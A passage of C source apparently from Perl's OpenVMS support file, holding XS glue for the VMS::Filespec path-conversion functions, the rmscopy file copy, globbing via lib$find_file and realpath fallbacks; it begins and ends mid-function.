PerlMem_free(ubf);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
set_errno(EVMSERR); set_vaxc_errno(sts);
return 0;
}
while ((sts = sys$read(&rab_in))) { /* always true */
if (sts == RMS$_EOF) break;
rab_out.rab$w_rsz = rab_in.rab$w_rsz;
if (!(sts & 1) || !((sts = sys$write(&rab_out)) & 1)) {
sys$close(&fab_in); sys$close(&fab_out);
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(ubf);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
set_errno(EVMSERR); set_vaxc_errno(sts);
return 0;
}
}
fab_out.fab$l_fop &= ~FAB$M_DLT; /* We got this far; keep the output */
sys$close(&fab_in); sys$close(&fab_out);
sts = (fab_in.fab$l_sts & 1) ? fab_out.fab$l_sts : fab_in.fab$l_sts;
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(ubf);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
if (!(sts & 1)) {
set_errno(EVMSERR); set_vaxc_errno(sts);
return 0;
}
return 1;
} /* end of rmscopy() */
/*}}}*/
/*** The following glue provides 'hooks' to make some of the routines
* from this file available from Perl. These routines are sufficiently
* basic, and are required sufficiently early in the build process,
* that's it's nice to have them available to miniperl as well as the
* full Perl, so they're set up here instead of in an extension. The
* Perl code which handles importation of these names into a given
* package lives in [.VMS]Filespec.pm in @INC.
*/
void
rmsexpand_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *fspec, *defspec = NULL, *rslt;
STRLEN n_a;
int fs_utf8, dfs_utf8;
fs_utf8 = 0;
dfs_utf8 = 0;
if (!items || items > 2)
Perl_croak(aTHX_ "Usage: VMS::Filespec::rmsexpand(spec[,defspec])");
fspec = SvPV(ST(0),n_a);
fs_utf8 = SvUTF8(ST(0));
if (!fspec || !*fspec) XSRETURN_UNDEF;
if (items == 2) {
defspec = SvPV(ST(1),n_a);
dfs_utf8 = SvUTF8(ST(1));
}
rslt = do_rmsexpand(fspec,NULL,1,defspec,0,&fs_utf8,&dfs_utf8);
ST(0) = sv_newmortal();
if (rslt != NULL) {
sv_usepvn(ST(0),rslt,strlen(rslt));
if (fs_utf8) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
vmsify_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *vmsified;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::vmsify(spec)");
utf8_fl = SvUTF8(ST(0));
vmsified = do_tovmsspec(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (vmsified != NULL) {
sv_usepvn(ST(0),vmsified,strlen(vmsified));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
unixify_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *unixified;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::unixify(spec)");
utf8_fl = SvUTF8(ST(0));
unixified = do_tounixspec(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (unixified != NULL) {
sv_usepvn(ST(0),unixified,strlen(unixified));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
fileify_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *fileified;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::fileify(spec)");
utf8_fl = SvUTF8(ST(0));
fileified = do_fileify_dirspec(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (fileified != NULL) {
sv_usepvn(ST(0),fileified,strlen(fileified));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
pathify_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *pathified;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::pathify(spec)");
utf8_fl = SvUTF8(ST(0));
pathified = do_pathify_dirspec(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (pathified != NULL) {
sv_usepvn(ST(0),pathified,strlen(pathified));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
vmspath_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *vmspath;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::vmspath(spec)");
utf8_fl = SvUTF8(ST(0));
vmspath = do_tovmspath(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (vmspath != NULL) {
sv_usepvn(ST(0),vmspath,strlen(vmspath));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
unixpath_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *unixpath;
STRLEN n_a;
int utf8_fl;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::unixpath(spec)");
utf8_fl = SvUTF8(ST(0));
unixpath = do_tounixpath(SvPV(ST(0),n_a),NULL,1,&utf8_fl);
ST(0) = sv_newmortal();
if (unixpath != NULL) {
sv_usepvn(ST(0),unixpath,strlen(unixpath));
if (utf8_fl) {
SvUTF8_on(ST(0));
}
}
XSRETURN(1);
}
void
candelete_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *fspec, *fsp;
SV *mysv;
IO *io;
STRLEN n_a;
if (items != 1) Perl_croak(aTHX_ "Usage: VMS::Filespec::candelete(spec)");
mysv = SvROK(ST(0)) ? SvRV(ST(0)) : ST(0);
Newx(fspec, VMS_MAXRSS, char);
if (fspec == NULL) _ckvmssts(SS$_INSFMEM);
if (isGV_with_GP(mysv)) {
if (!(io = GvIOp(mysv)) || !PerlIO_getname(IoIFP(io),fspec)) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = &PL_sv_no;
Safefree(fspec);
XSRETURN(1);
}
fsp = fspec;
}
else {
if (mysv != ST(0) || !(fsp = SvPV(mysv,n_a)) || !*fsp) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = &PL_sv_no;
Safefree(fspec);
XSRETURN(1);
}
}
ST(0) = boolSV(cando_by_name(S_IDUSR,0,fsp));
Safefree(fspec);
XSRETURN(1);
}
void
rmscopy_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *inspec, *outspec, *inp, *outp;
int date_flag;
SV *mysv;
IO *io;
STRLEN n_a;
if (items < 2 || items > 3)
Perl_croak(aTHX_ "Usage: File::Copy::rmscopy(from,to[,date_flag])");
mysv = SvROK(ST(0)) ? SvRV(ST(0)) : ST(0);
Newx(inspec, VMS_MAXRSS, char);
if (isGV_with_GP(mysv)) {
if (!(io = GvIOp(mysv)) || !PerlIO_getname(IoIFP(io),inspec)) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = sv_2mortal(newSViv(0));
Safefree(inspec);
XSRETURN(1);
}
inp = inspec;
}
else {
if (mysv != ST(0) || !(inp = SvPV(mysv,n_a)) || !*inp) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = sv_2mortal(newSViv(0));
Safefree(inspec);
XSRETURN(1);
}
}
mysv = SvROK(ST(1)) ? SvRV(ST(1)) : ST(1);
Newx(outspec, VMS_MAXRSS, char);
if (isGV_with_GP(mysv)) {
if (!(io = GvIOp(mysv)) || !PerlIO_getname(IoIFP(io),outspec)) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = sv_2mortal(newSViv(0));
Safefree(inspec);
Safefree(outspec);
XSRETURN(1);
}
outp = outspec;
}
else {
if (mysv != ST(1) || !(outp = SvPV(mysv,n_a)) || !*outp) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
ST(0) = sv_2mortal(newSViv(0));
Safefree(inspec);
Safefree(outspec);
XSRETURN(1);
}
}
date_flag = (items == 3) ? SvIV(ST(2)) : 0;
ST(0) = sv_2mortal(newSViv(rmscopy(inp,outp,date_flag)));
Safefree(inspec);
Safefree(outspec);
XSRETURN(1);
}
/* The mod2fname is limited to shorter filenames by design, so it should
* not be modified to support longer EFS pathnames
*/
void
mod2fname(pTHX_ CV *cv)
{
dXSARGS;
char ultimate_name[NAM$C_MAXRSS+1], work_name[NAM$C_MAXRSS*8 + 1],
workbuff[NAM$C_MAXRSS*1 + 1];
SSize_t counter, num_entries;
/* ODS-5 ups this, but we want to be consistent, so... */
int max_name_len = 39;
AV *in_array = (AV *)SvRV(ST(0));
num_entries = av_tindex(in_array);
/* All the names start with PL_. */
strcpy(ultimate_name, "PL_");
/* Clean up our working buffer */
Zero(work_name, sizeof(work_name), char);
/* Run through the entries and build up a working name */
for(counter = 0; counter <= num_entries; counter++) {
/* If it's not the first name then tack on a __ */
if (counter) {
my_strlcat(work_name, "__", sizeof(work_name));
}
my_strlcat(work_name, SvPV_nolen(*av_fetch(in_array, counter, FALSE)), sizeof(work_name));
}
/* Check to see if we actually have to bother...*/
if (strlen(work_name) + 3 <= max_name_len) {
my_strlcat(ultimate_name, work_name, sizeof(ultimate_name));
} else {
/* It's too darned big, so we need to go strip. We use the same */
/* algorithm as xsubpp does. First, strip out doubled __ */
char *source, *dest, last;
dest = workbuff;
last = 0;
for (source = work_name; *source; source++) {
if (last == *source && last == '_') {
continue;
}
*dest++ = *source;
last = *source;
}
/* Go put it back */
my_strlcpy(work_name, workbuff, sizeof(work_name));
/* Is it still too big? */
if (strlen(work_name) + 3 > max_name_len) {
/* Strip duplicate letters */
last = 0;
dest = workbuff;
for (source = work_name; *source; source++) {
if (last == toUPPER_A(*source)) {
continue;
}
*dest++ = *source;
last = toUPPER_A(*source);
}
my_strlcpy(work_name, workbuff, sizeof(work_name));
}
/* Is it *still* too big? */
if (strlen(work_name) + 3 > max_name_len) {
/* Too bad, we truncate */
work_name[max_name_len - 2] = 0;
}
my_strlcat(ultimate_name, work_name, sizeof(ultimate_name));
}
/* Okay, return it */
ST(0) = sv_2mortal(newSVpv(ultimate_name, 0));
XSRETURN(1);
}
void
hushexit_fromperl(pTHX_ CV *cv)
{
dXSARGS;
if (items > 0) {
VMSISH_HUSHED = SvTRUE(ST(0));
}
ST(0) = boolSV(VMSISH_HUSHED);
XSRETURN(1);
}
PerlIO *
Perl_vms_start_glob(pTHX_ SV *tmpglob, IO *io)
{
PerlIO *fp;
struct vs_str_st *rslt;
char *vmsspec;
char *rstr;
char *begin, *cp;
$DESCRIPTOR(dfltdsc,"SYS$DISK:[]*.*;");
PerlIO *tmpfp;
STRLEN i;
struct dsc$descriptor_s wilddsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct dsc$descriptor_vs rsdsc;
unsigned long int cxt = 0, sts = 0, ok = 1, hasdir = 0;
unsigned long hasver = 0, isunix = 0;
unsigned long int lff_flags = 0;
int rms_sts;
int vms_old_glob = 1;
if (!SvOK(tmpglob)) {
SETERRNO(ENOENT,RMS$_FNF);
return NULL;
}
vms_old_glob = !DECC_FILENAME_UNIX_REPORT;
#ifdef VMS_LONGNAME_SUPPORT
lff_flags = LIB$M_FIL_LONG_NAMES;
#endif
/* The Newx macro will not allow me to assign a smaller array
* to the rslt pointer, so we will assign it to the begin char pointer
* and then copy the value into the rslt pointer.
*/
Newx(begin, VMS_MAXRSS + sizeof(unsigned short int), char);
rslt = (struct vs_str_st *)begin;
rslt->length = 0;
rstr = &rslt->str[0];
rsdsc.dsc$a_pointer = (char *) rslt; /* cast required */
rsdsc.dsc$w_maxstrlen = VMS_MAXRSS + sizeof(unsigned short int);
rsdsc.dsc$b_dtype = DSC$K_DTYPE_VT;
rsdsc.dsc$b_class = DSC$K_CLASS_VS;
Newx(vmsspec, VMS_MAXRSS, char);
/* We could find out if there's an explicit dev/dir or version
by peeking into lib$find_file's internal context at
((struct NAM *)((struct FAB *)cxt)->fab$l_nam)->nam$l_fnb
but that's unsupported, so I don't want to do it now and
have it bite someone in the future. */
/* Fix-me: vms_split_path() is the only way to do this, the
existing method will fail with many legal EFS or UNIX specifications
*/
cp = SvPV(tmpglob,i);
for (; i; i--) {
if (cp[i] == ';') hasver = 1;
if (cp[i] == '.') {
if (sts) hasver = 1;
else sts = 1;
}
if (cp[i] == '/') {
hasdir = isunix = 1;
break;
}
if (cp[i] == ']' || cp[i] == '>' || cp[i] == ':') {
hasdir = 1;
break;
}
}
/* In UNIX report mode, assume UNIX unless VMS directory delimiters seen */
if ((hasdir == 0) && DECC_FILENAME_UNIX_REPORT) {
isunix = 1;
}
if ((tmpfp = PerlIO_tmpfile()) != NULL) {
char * wv_spec, * wr_spec, * wd_spec, * wn_spec, * we_spec, * wvs_spec;
int wv_sts, wv_len, wr_len, wd_len, wn_len, we_len, wvs_len;
int wildstar = 0;
int wildquery = 0;
int found = 0;
Stat_t st;
int stat_sts;
stat_sts = PerlLIO_stat(SvPVX_const(tmpglob),&st);
if (!stat_sts && S_ISDIR(st.st_mode)) {
char * vms_dir;
const char * fname;
STRLEN fname_len;
/* Test to see if SvPVX_const(tmpglob) ends with a VMS */
/* path delimiter of ':>]', if so, then the old behavior has */
/* obviously been specifically requested */
fname = SvPVX_const(tmpglob);
fname_len = strlen(fname);
vms_dir = strpbrk(&fname[fname_len - 1], ":>]");
if (vms_old_glob || (vms_dir != NULL)) {
wilddsc.dsc$a_pointer = tovmspath_utf8(
SvPVX(tmpglob),vmsspec,NULL);
ok = (wilddsc.dsc$a_pointer != NULL);
/* maybe passed 'foo' rather than '[.foo]', thus not
detected above */
hasdir = 1;
} else {
/* Operate just on the directory, the special stat/fstat for */
/* leaves the fileified specification in the st_devnam */
/* member. */
wilddsc.dsc$a_pointer = st.st_devnam;
ok = 1;
}
}
else {
wilddsc.dsc$a_pointer = tovmsspec_utf8(SvPVX(tmpglob),vmsspec,NULL);
ok = (wilddsc.dsc$a_pointer != NULL);
}
if (ok)
wilddsc.dsc$w_length = strlen(wilddsc.dsc$a_pointer);
/* If not extended character set, replace ? with % */
/* With extended character set, ? is a wildcard single character */
for (cp=wilddsc.dsc$a_pointer; ok && cp && *cp; cp++) {
if (*cp == '?') {
wildquery = 1;
if (!DECC_EFS_CHARSET)
*cp = '%';
} else if (*cp == '%') {
wildquery = 1;
} else if (*cp == '*') {
wildstar = 1;
}
}
if (ok) {
wv_sts = vms_split_path(
wilddsc.dsc$a_pointer, &wv_spec, &wv_len, &wr_spec, &wr_len,
&wd_spec, &wd_len, &wn_spec, &wn_len, &we_spec, &we_len,
&wvs_spec, &wvs_len);
} else {
wn_spec = NULL;
wn_len = 0;
we_spec = NULL;
we_len = 0;
}
sts = SS$_NORMAL;
while (ok && $VMS_STATUS_SUCCESS(sts)) {
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int v_sts, v_len, r_len, d_len, n_len, e_len, vs_len;
int valid_find;
valid_find = 0;
sts = lib$find_file(&wilddsc,&rsdsc,&cxt,
&dfltdsc,NULL,&rms_sts,&lff_flags);
if (!$VMS_STATUS_SUCCESS(sts))
break;
/* with varying string, 1st word of buffer contains result length */
rstr[rslt->length] = '\0';
/* Find where all the components are */
v_sts = vms_split_path
(rstr,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
/* If no version on input, truncate the version on output */
if (!hasver && (vs_len > 0)) {
*vs_spec = '\0';
vs_len = 0;
}
if (isunix) {
/* In Unix report mode, remove the ".dir;1" from the name */
/* if it is a real directory */
if (DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
if (is_dir_ext(e_spec, e_len, vs_spec, vs_len)) {
Stat_t statbuf;
int ret_sts;
ret_sts = flex_lstat(rstr, &statbuf);
if ((ret_sts == 0) &&
S_ISDIR(statbuf.st_mode)) {
e_len = 0;
e_spec[0] = 0;
}
}
}
/* No version & a null extension on UNIX handling */
if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
e_len = 0;
*e_spec = '\0';
}
}
if (!DECC_EFS_CASE_PRESERVE) {
for (cp = rstr; *cp; cp++) *cp = toLOWER_L1(*cp);
}
/* Find File treats a Null extension as return all extensions */
/* This is contrary to Perl expectations */
if (wildstar || wildquery || vms_old_glob) {
/* really need to see if the returned file name matched */
/* but for now will assume that it matches */
valid_find = 1;
} else {
/* Exact Match requested */
/* How are directories handled? - like a file */
if ((e_len == we_len) && (n_len == wn_len)) {
int t1;
t1 = e_len;
if (t1 > 0)
t1 = strncmp(e_spec, we_spec, e_len);
if (t1 == 0) {
t1 = n_len;
if (t1 > 0)
t1 = strncmp(n_spec, we_spec, n_len);
if (t1 == 0)
valid_find = 1;
}
}
}
if (valid_find) {
found++;
if (hasdir) {
if (isunix) trim_unixpath(rstr,SvPVX(tmpglob),1);
begin = rstr;
}
else {
/* Start with the name */
begin = n_spec;
}
strcat(begin,"\n");
ok = (PerlIO_puts(tmpfp,begin) != EOF);
}
}
if (cxt) (void)lib$find_file_end(&cxt);
if (!found) {
/* Be POSIXish: return the input pattern when no matches */
my_strlcpy(rstr, SvPVX(tmpglob), VMS_MAXRSS);
strcat(rstr,"\n");
ok = (PerlIO_puts(tmpfp,rstr) != EOF);
}
if (ok && sts != RMS$_NMF &&
sts != RMS$_DNF && sts != RMS_FNF) ok = 0;
if (!ok) {
if (!(sts & 1)) {
SETERRNO((sts == RMS$_SYN ? EINVAL : EVMSERR),sts);
}
PerlIO_close(tmpfp);
fp = NULL;
}
else {
PerlIO_rewind(tmpfp);
IoTYPE(io) = IoTYPE_RDONLY;
IoIFP(io) = fp = tmpfp;
IoFLAGS(io) &= ~IOf_UNTAINT; /* maybe redundant */
}
}
Safefree(vmsspec);
Safefree(rslt);
return fp;
}
static char *
mp_do_vms_realpath(pTHX_ const char *filespec, char * rslt_spec,
int *utf8_fl);
void
unixrealpath_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *fspec, *rslt_spec, *rslt;
STRLEN n_a;
if (!items || items != 1)
Perl_croak(aTHX_ "Usage: VMS::Filespec::unixrealpath(spec)");
fspec = SvPV(ST(0),n_a);
if (!fspec || !*fspec) XSRETURN_UNDEF;
Newx(rslt_spec, VMS_MAXRSS + 1, char);
rslt = do_vms_realpath(fspec, rslt_spec, NULL);
ST(0) = sv_newmortal();
if (rslt != NULL)
sv_usepvn(ST(0),rslt,strlen(rslt));
else
Safefree(rslt_spec);
XSRETURN(1);
}
static char *
mp_do_vms_realname(pTHX_ const char *filespec, char * rslt_spec,
int *utf8_fl);
void
vmsrealpath_fromperl(pTHX_ CV *cv)
{
dXSARGS;
char *fspec, *rslt_spec, *rslt;
STRLEN n_a;
if (!items || items != 1)
Perl_croak(aTHX_ "Usage: VMS::Filespec::vmsrealpath(spec)");
fspec = SvPV(ST(0),n_a);
if (!fspec || !*fspec) XSRETURN_UNDEF;
Newx(rslt_spec, VMS_MAXRSS + 1, char);
rslt = do_vms_realname(fspec, rslt_spec, NULL);
ST(0) = sv_newmortal();
if (rslt != NULL)
sv_usepvn(ST(0),rslt,strlen(rslt));
else
Safefree(rslt_spec);
XSRETURN(1);
}
#ifdef HAS_SYMLINK
/*
* A thin wrapper around decc$symlink to make sure we follow the
* standard and do not create a symlink with a zero-length name,
* and convert the target to Unix format, as the CRTL can't handle
* targets in VMS format.
*/
/*{{{ int my_symlink(pTHX_ const char *contents, const char *link_name)*/
int
Perl_my_symlink(pTHX_ const char *contents, const char *link_name)
{
int sts;
char * utarget;
if (!link_name || !*link_name) {
SETERRNO(ENOENT, SS$_NOSUCHFILE);
return -1;
}
utarget = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
/* An untranslatable filename should be passed through. */
(void) int_tounixspec(contents, utarget, NULL);
sts = symlink(utarget, link_name);
PerlMem_free(utarget);
return sts;
}
/*}}}*/
#endif /* HAS_SYMLINK */
int do_vms_case_tolerant(void);
void
case_tolerant_process_fromperl(pTHX_ CV *cv)
{
dXSARGS;
ST(0) = boolSV(do_vms_case_tolerant());
XSRETURN(1);
}
#ifdef USE_ITHREADS
void
Perl_sys_intern_dup(pTHX_ struct interp_intern *src,
struct interp_intern *dst)
{
PERL_ARGS_ASSERT_SYS_INTERN_DUP;
memcpy(dst,src,sizeof(struct interp_intern));
}
#endif
void
Perl_sys_intern_clear(pTHX)
{
}
void
Perl_sys_intern_init(pTHX)
{
unsigned int ix = RAND_MAX;
double x;
VMSISH_HUSHED = 0;
MY_POSIX_EXIT = vms_posix_exit;
x = (float)ix;
MY_INV_RAND_MAX = 1./x;
}
void
init_os_extras(void)
{
dTHX;
char* file = __FILE__;
if (DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION) {
no_translate_barewords = TRUE;
} else {
no_translate_barewords = FALSE;
}
newXSproto("VMS::Filespec::rmsexpand",rmsexpand_fromperl,file,"$;$");
newXSproto("VMS::Filespec::vmsify",vmsify_fromperl,file,"$");
newXSproto("VMS::Filespec::unixify",unixify_fromperl,file,"$");
newXSproto("VMS::Filespec::pathify",pathify_fromperl,file,"$");
newXSproto("VMS::Filespec::fileify",fileify_fromperl,file,"$");
newXSproto("VMS::Filespec::vmspath",vmspath_fromperl,file,"$");
newXSproto("VMS::Filespec::unixpath",unixpath_fromperl,file,"$");
newXSproto("VMS::Filespec::candelete",candelete_fromperl,file,"$");
newXSproto("DynaLoader::mod2fname", mod2fname, file, "$");
newXS("File::Copy::rmscopy",rmscopy_fromperl,file);
newXSproto("vmsish::hushed",hushexit_fromperl,file,";$");
newXSproto("VMS::Filespec::unixrealpath",unixrealpath_fromperl,file,"$;$");
newXSproto("VMS::Filespec::vmsrealpath",vmsrealpath_fromperl,file,"$;$");
newXSproto("VMS::Filespec::case_tolerant_process",
case_tolerant_process_fromperl,file,"");
store_pipelocs(aTHX); /* will redo any earlier attempts */
return;
}
#if __CRTL_VER == 80200000
/* This missed getting in to the DECC SDK for 8.2 */
char *realpath(const char *file_name, char * resolved_name, ...);
#endif
/*{{{char *do_vms_realpath(const char *file_name, char *resolved_name)*/
/* wrapper for the realpath() function added with 8.2 RMS SYMLINK SDK.
* The perl fallback routine to provide realpath() is not as efficient
* on OpenVMS.
*/
#ifdef __cplusplus
extern "C" {
#endif
/* Hack, use old stat() as fastest way of getting ino_t and device */
int decc$stat(const char *name, void * statbuf);
#if __CRTL_VER >= 80200000
int decc$lstat(const char *name, void * statbuf);
#else
#define decc$lstat decc$stat
#endif
#ifdef __cplusplus
}
#endif
/* Realpath is fragile. In 8.3 it does not work if the feature
* DECC$POSIX_COMPLIANT_PATHNAMES is not enabled, even though symbolic
* links are implemented in RMS, not the CRTL. It also can fail if the
* user does not have read/execute access to some of the directories.
* So in order for Do What I Mean mode to work, if realpath() fails,
* fall back to looking up the filename by the device name and FID.
*/
int vms_fid_to_name(char * outname, int outlen,
const char * name, int lstat_flag, mode_t * mode)
{
#pragma message save
#pragma message disable MISALGNDSTRCT
#pragma message disable MISALGNDMEM
#pragma member_alignment save
#pragma nomember_alignment
struct statbuf_t {
char * st_dev;
unsigned short st_ino[3];
unsigned short old_st_mode;
unsigned long padl[30]; /* plenty of room */
} statbuf;
#pragma message restore
#pragma member_alignment restore
int sts;
struct dsc$descriptor_s dvidsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct dsc$descriptor_s specdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
char *fileified;
char *temp_fspec;
char *ret_spec;
/* Need to follow the mostly the same rules as flex_stat_int, or we may get
* unexpected answers
*/
fileified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (fileified == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
temp_fspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (temp_fspec == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
sts = -1;
/* First need to try as a directory */
ret_spec = int_tovmspath(name, temp_fspec, NULL);
if (ret_spec != NULL) {
ret_spec = int_fileify_dirspec(temp_fspec, fileified, NULL);
if (ret_spec != NULL) {
if (lstat_flag == 0)
sts = decc$stat(fileified, &statbuf);
else
sts = decc$lstat(fileified, &statbuf);
}
}
/* Then as a VMS file spec */
if (sts != 0) {
ret_spec = int_tovmsspec(name, temp_fspec, 0, NULL);
if (ret_spec != NULL) {
if (lstat_flag == 0) {
sts = decc$stat(temp_fspec, &statbuf);
} else {
sts = decc$lstat(temp_fspec, &statbuf);
}
}
}
if (sts) {
/* Next try - allow multiple dots with out EFS CHARSET */
/* The CRTL stat() falls down hard on multi-dot filenames in unix
* format unless * DECC$EFS_CHARSET is in effect, so temporarily
* enable it if it isn't already.
*/
if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
decc$feature_set_value(efs_charset_index, 1, 1);
ret_spec = int_tovmspath(name, temp_fspec, NULL);
if (lstat_flag == 0) {
sts = decc$stat(name, &statbuf);
} else {
sts = decc$lstat(name, &statbuf);
}
if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
decc$feature_set_value(efs_charset_index, 1, 0);
}
/* and then because the Perl Unix to VMS conversion is not perfect */
/* Specifically the CRTL removes spaces and possibly other illegal ODS-2 */
/* characters from filenames so we need to try it as-is */
if (sts) {
if (lstat_flag == 0) {
sts = decc$stat(name, &statbuf);
} else {
sts = decc$lstat(name, &statbuf);
}
}
if (sts == 0) {
int vms_sts;
dvidsc.dsc$a_pointer=statbuf.st_dev;
dvidsc.dsc$w_length=strlen(statbuf.st_dev);
specdsc.dsc$a_pointer = outname;
specdsc.dsc$w_length = outlen-1;
vms_sts = lib$fid_to_name
(&dvidsc, statbuf.st_ino, &specdsc, &specdsc.dsc$w_length);
if ($VMS_STATUS_SUCCESS(vms_sts)) {
outname[specdsc.dsc$w_length] = 0;
/* Return the mode */
if (mode) {
*mode = statbuf.old_st_mode;
}
}
}
PerlMem_free(temp_fspec);
PerlMem_free(fileified);
return sts;
}
static char *
mp_do_vms_realpath(pTHX_ const char *filespec, char *outbuf,
int *utf8_fl)
{
char * rslt = NULL;
#ifdef HAS_SYMLINK
if (DECC_POSIX_COMPLIANT_PATHNAMES) {
/* realpath currently only works if posix compliant pathnames are
* enabled. It may start working when they are not, but in that
* case we still want the fallback behavior for backwards compatibility
*/
rslt = realpath(filespec, outbuf);
}
#endif
if (rslt == NULL) {
char * vms_spec;
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
mode_t my_mode;
/* Fall back to fid_to_name */
Newx(vms_spec, VMS_MAXRSS + 1, char);
sts = vms_fid_to_name(vms_spec, VMS_MAXRSS + 1, filespec, 0, &my_mode);
if (sts == 0) {
/* Now need to trim the version off */
sts = vms_split_path
(vms_spec,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
if (sts == 0) {
int haslower = 0;
const char *cp;
/* Trim off the version */
int file_len = v_len + r_len + d_len + n_len + e_len;
vms_spec[file_len] = 0;
/* Trim off the .DIR if this is a directory */
if (is_dir_ext(e_spec, e_len, vs_spec, vs_len)) {
if (S_ISDIR(my_mode)) {
e_len = 0;
e_spec[0] = 0;
}
}
/* Drop NULL extensions on UNIX file specification */
if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
e_len = 0;
e_spec[0] = '\0';
}
/* The result is expected to be in UNIX format */
rslt = int_tounixspec(vms_spec, outbuf, utf8_fl);
/* Downcase if input had any lower case letters and
* case preservation is not in effect.
*/
if (!DECC_EFS_CASE_PRESERVE) {
for (cp = filespec; *cp; cp++)
if (islower(*cp)) { haslower = 1; break; }
if (haslower) __mystrtolower(rslt);
}
}
} else {
/* Now for some hacks to deal with backwards and forward */
/* compatibility */
if (!DECC_EFS_CHARSET) {
/* 1. ODS-2 mode wants to do a syntax only translation */
rslt = int_rmsexpand(filespec, outbuf,
NULL, 0, NULL, utf8_fl);
} else {
if (DECC_FILENAME_UNIX_REPORT) {
char * dir_name;
char * vms_dir_name;
char * file_name;
/* 2. ODS-5 / UNIX report mode should return a failure */
/* if the parent directory also does not exist */
/* Otherwise, get the real path for the parent */
/* and add the child to it. */
/* basename / dirname only available for VMS 7.0+ */
/* So we may need to implement them as common routines */
Newx(dir_name, VMS_MAXRSS + 1, char);
Newx(vms_dir_name, VMS_MAXRSS + 1, char);
dir_name[0] = '\0';
file_name = NULL;
/* First try a VMS parse */
sts = vms_split_path
(filespec,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
if (sts == 0) {
/* This is VMS */
int dir_len = v_len + r_len + d_len + n_len;
if (dir_len > 0) {
memcpy(dir_name, filespec, dir_len);
dir_name[dir_len] = '\0';
file_name = (char *)&filespec[dir_len + 1];
}
} else {
/* This must be UNIX */
